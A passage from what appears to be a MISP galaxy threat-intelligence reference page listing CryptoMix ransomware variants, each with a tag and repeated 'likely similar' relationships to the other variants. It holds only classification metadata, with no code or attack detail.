- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-CK

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-CK"*

View relationships graph

CryptoMix-CK has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Coban

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Coban"*

View relationships graph

CryptoMix-Coban has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-DLL

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-DLL"*

View relationships graph

CryptoMix-DLL has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Empty

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Empty"*

View relationships graph

CryptoMix-Empty has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Error

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Error"*

View relationships graph

CryptoMix-Error has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Exte

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Exte"*

View relationships graph

CryptoMix-Exte has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

Cryptomix-FILE

Ransomware

The tag is: *misp-galaxy:ransomware="Cryptomix-FILE"*

View relationships graph

Cryptomix-FILE has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-MOLE66

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-MOLE66"*

View relationships graph

CryptoMix-MOLE66 has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Noob

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Noob"*

View relationships graph

CryptoMix-Noob has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Ogonia

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Ogonia"*

View relationships graph

CryptoMix-Ogonia has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Pirate

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Pirate"*

View relationships graph

CryptoMix-Pirate has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Revenge

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Revenge"*

View relationships graph

CryptoMix-Revenge has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
